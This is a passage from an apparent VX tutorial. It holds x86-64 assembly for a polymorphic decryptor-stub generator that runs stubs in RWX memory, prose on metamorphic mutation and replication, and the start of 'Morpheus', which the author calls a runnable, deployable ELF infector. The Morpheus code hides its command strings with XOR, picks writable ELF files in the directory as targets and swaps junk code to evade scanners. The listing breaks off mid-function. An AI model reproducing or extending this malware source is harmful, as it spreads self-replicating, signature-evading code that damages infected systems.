751 mov rbx, rax ; dynamic XOR
752 rol rbx, 7
753 not rbx
754 xor rax, rbx
755
756 mov [rel stub_key], rax
757
758 rol rax, 7 ; secondary key
759 mov rbx, 0xCAFE0F00
760 shl rbx, 32
761 or rbx, 0xDEADC0DE
762 xor rax, rbx
763 mov [rel sec_key], rax
764
765 mov rax, [rel stub_key] ; ensure different from user key
766 cmp rax, [rel key]
767 jne .keys_different
768 not rax
769 mov [rel stub_key], rax
770.keys_different:
771
772 pop rcx
773 pop rbx
774 ret
775
776; PRNG
777next_random:
778 push rdx
779 mov rax, [rel seed]
780 mov rdx, rax
781 shl rdx, 13
782 xor rax, rdx
783 mov rdx, rax
784 shr rdx, 17
785 xor rax, rdx
786 mov rdx, rax
787 shl rdx, 5
788 xor rax, rdx
789 mov [rel seed], rax
790 pop rdx
791 ret
792
793random_range:
794 push rdx
795 call next_random
796 pop rcx
797 test rcx, rcx
798 jz .range_zero
799 xor rdx, rdx
800 div rcx
801 mov rax, rdx
802 ret
803.range_zero:
804 xor rax, rax
805 ret
806
807; random boolean
808yes_no:
809 call next_random
810 and rax, 0xF
811 cmp rax, 7
812 setbe al
813 movzx rax, al
814 ret
815
816; select random registers
817get_rr:
818 call next_random
819 and rax, 7
820 cmp al, REG_RSP
821 je get_rr
822 cmp al, REG_RAX ; avoid rax as base
823 je get_rr
824 mov [rel reg_base], al
825
826.retry_count:
827 call next_random
828 and rax, 7
829 cmp al, REG_RSP
830 je .retry_count
831 cmp al, REG_RAX ; avoid rax as count
832 je .retry_count
833 cmp al, [rel reg_base]
834 je .retry_count
835 mov [rel reg_count], al
836
837.retry_key:
838 call next_random
839 and rax, 7
840 cmp al, REG_RSP
841 je .retry_key
842 cmp al, [rel reg_base]
843 je .retry_key
844 cmp al, [rel reg_count]
845 je .retry_key
846 mov [rel reg_key], al
847
848.retry_junk1:
849 call next_random
850 and rax, 15
851 cmp al, REG_RSP
852 je .retry_junk1
853 mov [rel junk_reg1], al
854
855.retry_junk2:
856 call next_random
857 and rax, 15
858 cmp al, REG_RSP
859 je .retry_junk2
860 cmp al, [rel junk_reg1]
861 je .retry_junk2
862 mov [rel junk_reg2], al
863
864.retry_junk3:
865 call next_random
866 and rax, 15
867 cmp al, REG_RSP
868 je .retry_junk3
869 cmp al, [rel junk_reg1]
870 je .retry_junk3
871 cmp al, [rel junk_reg2]
872 je .retry_junk3
873 mov [rel junk_reg3], al
874 ret
875
876; select algorithm
877set_al:
878 call next_random
879 and rax, 3
880 mov [rel alg0_dcr], al
881 ret
882
883; generate prologue
884gen_p:
885 call gen_jmp
886 call trash
887 call yes_no
888 test rax, rax
889 jz .skip_trash1
890 call trash
891.skip_trash1:
892
893 ; mov reg_key,key
894 call gen_jmp
895 mov al, 0x48
896 stosb
897 mov al, 0xB8
898 add al, [rel reg_key]
899 stosb
900 mov byte [rel prolog_set], 1
901 mov rax, [rel key]
902 stosq
903
904 call yes_no
905 test rax, rax
906 jz .skip_trash2
907 call trash
908.skip_trash2:
909 ret
910
911; generate decrypt loop
912gen_dec:
913 mov [rel jmp_back], rdi
914
915 call trash
916 call gen_jmp
917
918 ; mov reg_base,rdi (data pointer)
919 mov al, 0x48
920 stosb
921 mov al, 0x89
922 stosb
923 mov al, 0xF8
924 add al, [rel reg_base]
925 stosb
926
927 call trash
928 call gen_jmp
929
930 ; mov reg_count,rsi (size)
931 mov al, 0x48
932 stosb
933 mov al, 0x89
934 stosb
935 mov al, 0xF0
936 add al, [rel reg_count]
937 stosb
938
939 call trash
940 call gen_jmp
941
942.decr_loop:
943 movzx rax, byte [rel alg0_dcr]
944 cmp al, 0
945 je .gen_algo_0
946 cmp al, 1
947 je .gen_algo_1
948 cmp al, 2
949 je .gen_algo_2
950 jmp .gen_algo_3
951
952.gen_algo_0:
953 ; add/rol/xor
954 call gen_add_mem_key
955 call trash
956 call gen_trash
957 call gen_rol_mem_16
958 call trash
959 call gen_trash
960 call gen_xor_mem_key
961 jmp .gen_loop_end
962
963.gen_algo_1:
964 ; xor/rol/xor
965 call gen_xor_mem_key
966 call trash
967 call gen_trash
968 call gen_rol_mem_16
969 call trash
970 call gen_trash
971 call gen_xor_mem_key
972 jmp .gen_loop_end
973
974.gen_algo_2:
975 ; sub/ror/xor
976 call gen_sub_mem_key
977 call trash
978 call gen_trash
979 call gen_ror_mem_16
980 call trash
981 call gen_trash
982 call gen_xor_mem_key
983 jmp .gen_loop_end
984
985.gen_algo_3:
986 ; xor/add/xor
987 call gen_xor_mem_key
988 call trash
989 call gen_trash
990 call gen_add_mem_key
991 call trash
992 call gen_trash
993 call gen_xor_mem_key
994
995.gen_loop_end:
996 call trash
997 call gen_jmp
998
999 mov al, ADD_REG_IMM8
1000 stosb
1001 mov al, 0xC0
1002 add al, [rel reg_base]
1003 stosb
1004 mov al, 8
1005 stosb
1006
1007 call trash
1008 call gen_jmp
1009
1010 ; generate DEC instruction
1011 movzx rax, byte [rel reg_count]
1012 cmp al, 8
1013 jb .dec_no_rex
1014 mov al, 0x49 ; rex.wb for r8-r15
1015 stosb
1016 movzx rax, byte [rel reg_count]
1017 sub al, 8
1018 jmp .dec_encode
1019.dec_no_rex:
1020 mov al, 0x48 ; rex.w for rax-rdi
1021 stosb
1022 movzx rax, byte [rel reg_count]
1023.dec_encode:
1024 mov ah, 0xFF
1025 xchg al, ah
1026 stosw
1027 mov al, 0xC8
1028 add al, [rel reg_count]
1029 and al, 7
1030 stosb
1031
1032 mov al, TEST_REG_REG
1033 stosb
1034 mov al, [rel reg_count]
1035 shl al, 3
1036 add al, [rel reg_count]
1037 add al, 0xC0
1038 stosb
1039
1040 mov ax, JNZ_LONG
1041 stosw
1042 mov rax, [rel jmp_back]
1043 sub rax, rdi
1044 sub rax, 4
1045 neg eax
1046 stosd
1047 ret
1048
1049; algorithm generators
1050gen_add_mem_key:
1051 call gen_jmp
1052 mov al, ADD_MEM_REG
1053 stosb
1054 mov dl, [rel reg_key]
1055 shl dl, 3
1056 mov al, [rel reg_base]
1057 add al, dl
1058 stosb
1059 ret
1060
1061gen_sub_mem_key:
1062 call gen_jmp
1063 mov al, 0x48
1064 stosb
1065 mov al, 0x29
1066 stosb
1067 mov dl, [rel reg_key]
1068 shl dl, 3
1069 mov al, [rel reg_base]
1070 add al, dl
1071 stosb
1072 ret
1073
1074gen_xor_mem_key:
1075 call gen_jmp
1076 mov ax, XOR_MEM_REG
1077 mov dl, [rel reg_key]
1078 shl dl, 3
1079 mov ah, [rel reg_base]
1080 add ah, dl
1081 stosw
1082 ret
1083
1084gen_rol_mem_16:
1085 call gen_jmp
1086 mov al, 0x48
1087 stosb
1088 mov ax, ROL_MEM_IMM
1089 add ah, [rel reg_base]
1090 stosw
1091 mov al, 16
1092 stosb
1093 ret
1094
1095gen_ror_mem_16:
1096 call gen_jmp
1097 mov al, 0x48
1098 stosb
1099 mov al, 0xC1
1100 stosb
1101 mov al, 0x08
1102 add al, [rel reg_base]
1103 stosb
1104 mov al, 16
1105 stosb
1106 ret
1107
1108; basic junk
1109trash:
1110 call yes_no
1111 test rax, rax
1112 jz .skip_push_pop
1113
1114 movzx rax, byte [rel junk_reg1] ; push/pop junk
1115 cmp al, 8
1116 jb .push_no_rex
1117 mov al, 0x41
1118 stosb
1119 movzx rax, byte [rel junk_reg1]
1120 sub al, 8
1121.push_no_rex:
1122 add al, PUSH_REG
1123 stosb
1124
1125 movzx rax, byte [rel junk_reg2]
1126 cmp al, 8
1127 jb .pop_no_rex
1128 mov al, 0x41
1129 stosb
1130 movzx rax, byte [rel junk_reg2]
1131 sub al, 8
1132.pop_no_rex:
1133 add al, POP_REG
1134 stosb
1135.skip_push_pop:
1136
1137 call gen_jmp
1138 ret
1139
1140; jumps
1141gen_jmp:
1142 call yes_no
1143 test rax, rax
1144 jz .short_jmp
1145 mov al, JMP_REL32
1146 stosb
1147 mov eax, 1
1148 stosd
1149 call next_random
1150 and al, 0xFF
1151 stosb
1152 jmp .jmp_exit
1153.short_jmp:
1154 mov al, JMP_SHORT
1155 stosb
1156 mov al, 1
1157 stosb
1158 call next_random
1159 and al, 0xFF
1160 stosb
1161.jmp_exit:
1162 ret
1163
1164; self-modifying junk
1165gen_self:
1166 mov al, CALL_REL32
1167 stosb
1168 mov eax, 3
1169 stosd
1170 mov al, JMP_REL32
1171 stosb
1172 mov ax, 0x04EB
1173 stosw
1174
1175 call next_random
1176 and rax, 2
1177 lea rdx, [rel junk_reg1]
1178 movzx rdx, byte [rdx + rax]
1179
1180 mov al, POP_REG
1181 add al, dl
1182 stosb
1183 mov al, 0x48
1184 stosb
1185 mov al, 0xFF
1186 stosb
1187 mov al, 0xC0
1188 add al, dl
1189 stosb
1190 mov al, PUSH_REG
1191 add al, dl
1192 stosb
1193 mov al, RET_OPCODE
1194 stosb
1195 ret
1196
1197; advanced junk procedures
1198gen_trash:
1199 call yes_no
1200 test rax, rax
1201 jz .try_proc2
1202
1203 mov al, CALL_REL32
1204 stosb
1205 mov eax, 2
1206 stosd
1207 mov ax, 0x07EB
1208 stosw
1209 mov al, 0x55
1210 stosb
1211 mov al, 0x48
1212 stosb
1213 mov al, 0x89
1214 stosb
1215 mov al, 0xE5
1216 stosb
1217 mov ax, FNINIT_OPCODE
1218 stosw
1219 mov al, 0x5D
1220 stosb
1221 mov al, RET_OPCODE
1222 stosb
1223 jmp .exit_trash
1224
1225.try_proc2:
1226 call yes_no
1227 test rax, rax
1228 jz .try_proc3
1229
1230 mov al, CALL_REL32
1231 stosb
1232 mov eax, 2
1233 stosd
1234 mov ax, 0x0AEB
1235 stosw
1236 mov al, 0x60
1237 stosb
1238 mov eax, 0xD12BC333
1239 stosd
1240 mov eax, 0x6193C38B
1241 stosd
1242 mov al, 0x61
1243 stosb
1244 mov al, RET_OPCODE
1245 stosb
1246 jmp .exit_trash
1247
1248.try_proc3:
1249 call yes_no
1250 test rax, rax
1251 jz .exit_trash
1252
1253 mov al, CALL_REL32
1254 stosb
1255 mov eax, 2
1256 stosd
1257 mov eax, 0x525010EB
1258 stosd
1259 mov ax, 0xC069
1260 stosw
1261 mov eax, 0x90
1262 stosd
1263 mov al, 0x2D
1264 stosb
1265 mov eax, 0xDEADC0DE
1266 stosd
1267 mov ax, 0x585A
1268 stosw
1269 mov al, RET_OPCODE
1270 stosb
1271
1272.exit_trash:
1273 ret
1274
1275; dummy procedures
1276gen_dummy:
1277 call yes_no
1278 test rax, rax
1279 jz .skip_dummy
1280
1281 mov al, CALL_REL32
1282 stosb
1283 mov eax, 15
1284 stosd
1285
1286 mov al, 0x48
1287 stosb
1288 mov al, TEST_REG_REG
1289 stosb
1290 mov al, 0xC0
1291 stosb
1292
1293 mov al, JZ_SHORT
1294 stosb
1295 mov al, 8
1296 stosb
1297
1298 mov al, 0x55
1299 stosb
1300 mov al, 0x48
1301 stosb
1302 mov al, 0x89
1303 stosb
1304 mov al, 0xE5
1305 stosb
1306
1307 mov ax, FNINIT_OPCODE
1308 stosw
1309 mov ax, FNOP_OPCODE
1310 stosw
1311
1312 call next_random
1313 and rax, 0xFF
1314 mov al, 0x48
1315 stosb
1316 mov al, 0xB8
1317 stosb
1318 stosq
1319
1320 mov al, 0x5D
1321 stosb
1322 mov al, RET_OPCODE
1323 stosb
1324
1325.skip_dummy:
1326 ret
1327
1328; execute generated stub
1329exec_c:
1330 push rbp
1331 mov rbp, rsp
1332 sub rsp, 32
1333 push rbx
1334 push r12
1335 push r13
1336 push r14
1337 push r15
1338
1339 mov r12, rdi ; stub code
1340 mov r13, rsi ; stub size
1341 mov r14, rdx ; payload data
1342
1343 ; validate input
1344 test r12, r12
1345 jz .error
1346 test r13, r13
1347 jz .error
1348 cmp r13, 1
1349 jb .error
1350 cmp r13, 65536
1351 ja .error
1352
1353 mov rax, 9 ; mmap
1354 mov rdi, 0
1355 mov rsi, r13
1356 add rsi, 4096 ; padding
1357 mov rdx, 0x7 ; rwx
1358 mov r10, 0x22 ; private|anon
1359 mov r8, -1
1360 mov r9, 0
1361 syscall
1362
1363 cmp rax, -1
1364 je .error
1365 test rax, rax
1366 jz .error
1367 mov rbx, rax
1368
1369 ; copy stub to executable memory
1370 mov rdi, rbx
1371 mov rsi, r12
1372 mov rcx, r13
1373 rep movsb
1374
1375 ; execute stub
1376 cmp rbx, 0x1000
1377 jb .error
1378 call rbx
1379
1380 ; cleanup
1381 mov rax, 11 ; munmap
1382 mov rdi, rbx
1383 mov rsi, r13
1384 add rsi, 4096
1385 syscall
1386
1387 mov rax, 1 ; success
1388 jmp .done
1389
1390.error:
1391 xor rax, rax
1392
1393.done:
1394 pop r15
1395 pop r14
1396 pop r13
1397 pop r12
1398 pop rbx
1399 add rsp, 32
1400 pop rbp
1401 retCurrent Limitations #
At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.
The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.
There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.
Future directions could include:
- Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
- Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
- Building a dynamic rewriting engine that supports self-modifying payloads.
Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.
This is a foundational polymorphic engine, intentionally designed to be βusable and clear.β You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.
What Truly Makes Code Mutable #
Metamorphic code is more than obfuscation β it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.
For a simple task like clearing a register, you can use XOR RAX, RAX, SUB RAX, RAX, MOV RAX, 0, or even PUSH 0; POP RAX. Same effect, different opcodes. To a static scanner, these are often unrelated.
A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.
Combined with replication propagation, each infected binary carries mutations from its βparentβ and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns β only continuous evolution at the opcode level. This is why it is often called βassembly heaven.β
Classic Reference: MetaPHOR #
In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Drillerβs βHow I Made MetaPHOR and What Iβve Learned.β Yes, 2002 β ancient by todayβs standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.
Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary β producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.
It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation β deep structural churning that leaves no stable anchor points for static fingerprints.
β Disassembly and Shrinking β #
To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format β a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.
After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.
Next comes the shrinker. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.
| Original Instruction | Compressed Instruction | Description |
|---|---|---|
| MOV reg, reg | NOP | Dead operation with no effect |
| XOR reg, reg | MOV reg, 0 | Clear the register |
The shrinkerβs job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.
β Permutation and Expansion β #
After shrinking comes the permutator. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.
It also replaces equivalent instructions: same result, different operation.
Following permutation is the expander β the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.
Control variables impose hard limits to prevent unbounded growth.
Finally, the assembler finishes the job: it reassembles the mutated code back into valid machine code.
Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.
β Generational Generation β #
You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.
When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a βnew copyβ containing random junk code and rewritten logic.

vx-junk-disasm #
Notice those JUNK macro calls? They are randomly scattered. Each is a marker β a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.
We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.
This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot β essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.
After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about βfooling AV once,β but about continuous mutation β reshaping the binary with every βbreath.β As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.
This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.
Morpheus #
Now it is time for the code I mentioned alongside Veil64 to make its appearance.
Morpheus applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration β it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.
The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.
On every run, Morpheus roughly does the following:
- Extracts obfuscated strings and executes its logic
- Loads its own
.textsection - Disassembles code blocks
- Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
- Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
- Generates structurally different but logically consistent code
- Writes the mutated binary to a new target (usually another ELF in the same directory)
- Patches headers as needed to keep it executable
Every generation is truly different β not just added junk and register swaps, but substantive structural change β while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.
Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:
1PUSH RAX
2PUSH RBX
3XCHG RAX, RBX
4XCHG RAX, RBX
5POP RBX
6POP RAXMorpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.
We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.
String Encryption #
All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.
Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.
β Infection β #
During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).
Before any overwrite, it creates a hidden backup prefixed with .morph8. If the backup already exists, infection is skipped β acting as an βalready morphedβ marker.
β Morpheus Engine β #
1;;
2;; M O R P H E U S [ polymorphic ELF infector ]
3;; ------------------------------------------------
4;; stealth // mutation // syscall-only // junked //
5;; ------------------------------------------------
6;; 0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
7;;
8
9%define PUSH 0x50
10%define POP 0x58
11%define MOV 0xB8
12%define NOP 0x90
13%define REX_W 0x48
14%define XCHG_OP 0x87
15%define XCHG_BASE 0xC0
16
17%define ADD_OP 0x01
18%define AND_OP 0x21
19%define XOR_OP 0x31
20%define OR_OP 0x09
21%define SBB_OP 0x19
22%define SUB_OP 0x29
23
24%define JUNKLEN 10
25
26; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
27%macro JUNK 0
28 db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
29%endmacro
30
31section .data
32
33; ELF header
34ELF_MAGIC dd 0x464C457F
35ELF_CLASS64 equ 2
36ELF_DATA2LSB equ 1
37ELF_VERSION equ 1
38ELF_OSABI_SYSV equ 0
39ET_EXEC equ 2
40ET_DYN equ 3
41EM_X86_64 equ 62
42
43prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0
44
45bin_name times 256 db 0
46orig_exec_name times 256 db 0
47msg_cat db " /\_/\ ",10
48 db "( o.o )",10
49 db " > ^ <",10,0 ; payload
50current_dir db "./",0
51; encrypted strings
52cmhd db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75, 0x70, 0x26, 0x55 ; "chmod +x %s"
53tchh db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC, 0xE9, 0xBF, 0xCC ; "chmod +x %s"
54touc db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA ; "touch %s"
55cpcm db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF ; "cp %s %s"
56hidd db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77 ; ".morph8"
57exec db 0x1D, 0x1C, 0x16, 0x40, 0x33 ; "./%s"
58vxxe db 0xFE, 0xF0, 0xF0, 0x88 ; "vxx"
59
60xor_keys db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
61vierge_val db 1 ; first generation marker
62signme dd 0xF00C0DE ; PRNG seed
63
64section .bss
65 code resb 65536 ; viral body
66 codelen resq 1
67 vierge resb 1 ; generation flag
68 dir_buf resb 4096
69 temp_buf resb 1024
70 elf_header resb 64
71
72; runtime decrypted strings
73touch_cmd_fmt resb 32
74chmod_cmd_fmt resb 32
75touch_chmod_fmt resb 32
76exec_cmd_fmt resb 32
77cp_cmd_fmt resb 32
78vxx_str resb 8
79hidden_prefix resb 16
80
81section .text
82 global _start
83
84%define SYS_read 0
85%define SYS_write 1
86%define SYS_open 2
87%define SYS_close 3
88%define SYS_exit 60
89%define SYS_lseek 8
90%define SYS_getdents64 217
91%define SYS_access 21
92%define SYS_getrandom 318
93%define SYS_execve 59
94%define SYS_fstat 5
95%define SYS_mmap 9
96%define SYS_brk 12
97%define SYS_fork 57
98%define SYS_wait4 61
99
100%define F_OK 0
101%define X_OK 1
102%define W_OK 2
103
104%define O_RDONLY 0
105%define O_WRONLY 1
106%define O_RDWR 2
107%define O_CREAT 64
108%define O_TRUNC 512
109
110%define PROT_READ 1
111%define PROT_WRITE 2
112%define MAP_PRIVATE 2
113%define MAP_ANONYMOUS 32
114
115section .rodata
116 shell_path db "/bin/sh",0
117 sh_arg0 db "sh",0
118 sh_arg1 db "-c",0
119
120; syscall wrappers with junk insertion
121
122sys_write:
123 mov rax, SYS_write
124 JUNK
125 syscall
126 ret
127
128sys_read:
129 mov rax, SYS_read
130 JUNK
131 syscall
132 ret
133
134sys_open:
135 mov rax, SYS_open
136 JUNK
137 syscall
138 ret
139
140sys_close:
141 mov rax, SYS_close
142 syscall
143 ret
144
145sys_lseek:
146 mov rax, SYS_lseek
147 syscall
148 ret
149
150sys_access:
151 mov rax, SYS_access
152 syscall
153 ret
154
155sys_getdents64:
156 mov rax, SYS_getdents64
157 syscall
158 ret
159
160sys_exit:
161 mov rax, SYS_exit
162 syscall
163
164; validate ELF executable target
165is_elf:
166 push r12
167 push r13
168
169 mov rsi, O_RDONLY
170 xor rdx, rdx
171 call sys_open
172 test rax, rax
173 js .not_elf
174 mov r12, rax
175
176 mov rdi, r12
177 mov rsi, elf_header
178 mov rdx, 64
179 call sys_read
180
181 push rax
182 mov rdi, r12
183 call sys_close
184 pop rax
185
186 cmp rax, 64
187 jl .not_elf
188
189 ; validate ELF magic
190 mov rsi, elf_header
191 cmp dword [rsi], 0x464C457F
192 jne .not_elf
193
194 ; 64-bit only
195 cmp byte [rsi + 4], 2
196 jne .not_elf
197
198 ; executable or shared object
199 mov ax, [rsi + 16]
200 cmp ax, 2
201 je .valid
202 cmp ax, 3
203 jne .not_elf
204
205.valid:
206 mov rax, 1
207 jmp .done
208
209.not_elf:
210 xor rax, rax
211
212.done:
213 pop r13
214 pop r12
215 ret
216
217; string utilities
218
219basename: ; extract filename from path
220 mov rax, rdi
221 mov rsi, rdi
222.find_last_slash:
223 mov bl, [rsi]
224 cmp bl, 0
225 je .done
226 cmp bl, '/'
227 jne .next_char
228 inc rsi
229 mov rax, rsi
230 jmp .find_last_slash
231.next_char:
232 inc rsi
233 jmp .find_last_slash
234.done:
235 ret
236
237strlen:
238 mov rdi, rdi
239 xor rcx, rcx
240.strlen_loop:
241 cmp byte [rdi + rcx], 0
242 je .strlen_done
243 inc rcx
244 jmp .strlen_loop
245.strlen_done:
246 mov rax, rcx
247 ret
248
249strcpy:
250 mov rdi, rdi
251 mov rsi, rsi
252 mov rax, rdi
253.cp_loop:
254 mov bl, [rsi]
255 mov [rdi], bl
256 inc rdi
257 inc rsi
258 cmp bl, 0
259 jne .cp_loop
260 ret
261
262strcmp:
263 push rdi
264 push rsi
265.cmp_loop:
266 mov al, [rdi]
267 mov bl, [rsi]
268 cmp al, bl
269 jne .not_equal
270 test al, al
271 jz .equal
272 inc rdi
273 inc rsi
274 jmp .cmp_loop
275.equal:
276 xor rax, rax
277 jmp .done
278.not_equal:
279 movzx rax, al
280 movzx rbx, bl
281 sub rax, rbx
282.done:
283 pop rsi
284 pop rdi
285 ret
286
287strstr:
288 mov r8, rdi
289 mov r9, rsi
290
291 mov al, [r9]
292 test al, al
293 jz .found
294
295.scan:
296 mov bl, [r8]
297 test bl, bl
298 jz .not_found
299
300 cmp al, bl
301 je .check_match
302 inc r8
303 jmp .scan
304
305.check_match:
306 mov r10, r8
307 mov r11, r9
308
309.match_loop:
310 mov al, [r11]
311 test al, al
312 jz .found
313
314 mov bl, [r10]
315 test bl, bl
316 jz .not_found
317
318 cmp al, bl
319 jne .next_pos
320
321 inc r10
322 inc r11
323 jmp .match_loop
324
325.next_pos:
326 inc r8
327 jmp .scan
328
329.found:
330 mov rax, r8
331 ret
332
333.not_found:
334 xor rax, rax
335 ret
336
337; PRNG
338get_random:
339 mov eax, [signme]
340 mov edx, eax
341 shr edx, 1
342 xor eax, edx
343 mov edx, eax
344 shr edx, 2
345 xor eax, edx
346 mov [signme], eax
347 ret
348
349get_range: ; random in range 0-ecx
350 call get_random
351 xor edx, edx
352 div ecx
353 mov eax, edx
354 ret
355
356; decrypt string with indexed key
357d_strmain:
358 push rax
359 push rbx
360 push rcx
361 push rdx
362 push r8
363
364 mov r8, xor_keys
365 add r8, rcx
366 mov al, [r8]
367
368 mov rcx, rdx
369
370 ; clear dest buffer
371 push rdi
372 push rcx
373 mov rdi, rsi
374 mov rcx, rdx
375 xor bl, bl
376 rep stosb
377 pop rcx
378 pop rdi
379
380.d_loop:
381 test rcx, rcx
382 jz .d_done
383
384 mov bl, [rdi]
385 xor bl, al
386 mov [rsi], bl
387
388 inc rdi
389 inc rsi
390 dec rcx
391 jmp .d_loop
392
393.d_done:
394 pop r8
395 pop rdx
396 pop rcx
397 pop rbx
398 pop rax
399 ret
400
401; decrypt all strings at runtime
402d_str:
403 push rdi
404 push rsi
405 push rdx
406 push rcx
407
408 mov rdi, touc
409 mov rsi, touch_cmd_fmt
410 mov rdx, 9
411 mov rcx, 0
412 call d_strmain
413
414 mov rdi, cmhd
415 mov rsi, chmod_cmd_fmt
416 mov rdx, 12
417 mov rcx, 1
418 call d_strmain
419
420 mov rdi, tchh
421 mov rsi, touch_chmod_fmt
422 mov rdx, 12
423 mov rcx, 2
424 call d_strmain
425
426 mov rdi, exec
427 mov rsi, exec_cmd_fmt
428 mov rdx, 5
429 mov rcx, 3
430 call d_strmain
431
432 mov rdi, cpcm
433 mov rsi, cp_cmd_fmt
434 mov rdx, 9
435 mov rcx, 4
436 call d_strmain
437
438 mov rdi, vxxe
439 mov rsi, vxx_str
440 mov rdx, 4
441 mov rcx, 5
442 call d_strmain
443
444 mov rdi, hidd
445 mov rsi, hidden_prefix
446 mov rdx, 8
447 mov rcx, 6
448 call d_strmain
449
450 pop rcx
451 pop rdx
452 pop rsi
453 pop rdi
454 ret
455
456; 4 variants
457spawn_junk:
458 push rbx
459 push rcx
460 push rdx
461 push r8
462
463 mov r8, rdi ; dst buffer
464
465 call get_random
466 and eax, 3 ; 4 variants
467
468 cmp eax, 0
469 je .variant_0
470 cmp eax, 1
471 je .variant_1
472 cmp eax, 2
473 je .variant_2
474 jmp .variant_3
475
476.variant_0:
477 ; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
478 mov byte [r8], 0x50
479 mov byte [r8+1], 0x53
480 mov byte [r8+2], 0x48
481 mov byte [r8+3], 0x87
482 mov byte [r8+4], 0xC3
483 mov byte [r8+5], 0x48
484 mov byte [r8+6], 0x87
485 mov byte [r8+7], 0xC3
486 mov byte [r8+8], 0x5B
487 mov byte [r8+9], 0x58
488 jmp .done
489
490.variant_1:
